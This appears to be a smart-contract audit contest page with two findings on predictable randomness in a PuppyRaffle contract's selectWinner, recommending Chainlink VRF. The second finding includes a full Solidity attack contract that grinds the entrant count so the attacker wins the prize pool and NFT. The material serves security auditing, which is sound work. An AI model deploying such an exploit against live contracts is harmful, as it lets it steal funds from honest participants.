Normally, selectWinner should pick the raffle winner unpredictably, so no participant can know or influence the outcome in advance.
The winner is derived from keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty)), all of which are values the caller already knows (and a block producer partly controls) at execution time. Anyone can recompute the exact winnerIndex off-chain before calling selectWinner and only call it on a result that makes them (or a chosen address) win. The same weak source is reused for the NFT rarity.
Likelihood:
Happens every time selectWinner is callable, since all seed inputs are public on-chain values the caller already knows; the attacker recomputes the index off-chain and only calls on a winning result.
Happens whenever the caller is (or colludes with) the block producer, who can grind block.timestamp/block.difficulty to land on a chosen winner.
Impact:
The raffle is not random: an attacker can deterministically win the 80% prize pool and the rare-puppy NFT every round.
Honest participants can never fairly win, breaking the protocol's core promise.
Foundry test: before calling selectWinner, the attacker recomputes keccak256(msg.sender, block.timestamp, block.difficulty) % players.length and predicts the winner; the prediction matches the actual previousWinner exactly.
On-chain values are not a secure randomness source. Use a verifiable oracle such as Chainlink VRF: request randomness and select the winner in the fulfillment callback.
## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.
The contest is live. Earn rewards by submitting a finding.
Submissions are being reviewed by our AI judge. Results will be available in a few minutes.
View all submissionsThe contest is complete and the rewards are being distributed.